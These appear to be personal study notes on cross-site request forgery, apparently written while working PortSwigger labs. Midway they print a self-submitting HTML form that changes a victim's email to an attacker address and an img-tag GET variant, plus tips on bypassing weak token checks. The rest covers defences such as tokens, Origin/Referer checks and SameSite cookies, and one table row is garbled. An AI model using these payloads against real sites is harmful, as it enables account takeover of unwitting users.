mcz3n | CSRF

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application. It can cause a victim to carry out and unintended action, like changing email address or chaning passwords. Attackers can bypass the Same Origin Policy using CSRF.

CSRF generator: https://hacktify.in/csrf/

CSRF attack

A relevevant action: Like change email or password
Cookie-based sessions
No unpredictable request parameters like value of a password.

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

email=mczen@user.com

Based on this we can create a simple web page

<html>
    <head>
        <title>CSRF-2</title>
    </head>
    <body>
        <form action="https://0a2200ad04963c7981de6661005c00c2.web-security-academy.net/my-account/change-email" method="POST">
            <input type="hidden" name="email" value="zen@evil.com">
        </form>

        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

This wil change the user's emailaddress and can be delivered like

<img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net">

Common flaws in CSRF tokens

Apps might validate tokens in POST requests but not in GET requests.
Remove parameter and value, could bypass validation.
Sometimes tokens not checked to which users its linked. Accepts any valid token.

CSRF Defenses

Modern day CSRFT attacks are less frequent due to various protections. There are several defensive mechanisms to protect against CSRF attacks, most of which rely on the restrictions imposed by the Same-Origin Policy.

CSRF Token

CSRF tokens are random and unique values generated by server-side application and shared with the client. The token must be unpredictable and the application must verify the token before making changes. If the token is not included in the request the server will not accept it.

HTTP Header

Applications may also use HTTP headers to protect againt CSRF attacks. For example the Origin of Referrer header can be used to block cross-origin requests.

SameSite Cookies

This CSRF protection uses the SameSite cookie attribute that can prevent cookies being sent with cross-site-requests.

SameSite=Strict. Cookies are never sent
SameSite=Lax. Send with some cross site requests
SameSite=None. Cookie can always be sent.

Most browsers enforce a SameSite=Lax which prevents many CSRF attacks. Web applications are recommended to implement CSRF tokens as their primary defense against CSRF

Bypass SameSite Cookies

Comparing SameSite with Same-Origin we can see SameSite works different because for SameSite subdomains and ports do not matter, only the main domain + scheme matters.

SameSite Examples

URL 1	URL 2	SameSite?	Reason
vulnerable.xyz	sub.vulnerable.xyz	✅ Yes	Subdomains are considered same site
vulnerable.xyzvulnerable.xyz	:9001	✅ Yes	Ports do not affect SameSite
http://vulnerable.vulnerable.xyz	https://vulnerable.vulnerable.xyz	❌ No	Different scheme (http vs https)
vulnerable.xyz	exploitserver.xyz	❌ No	Different domain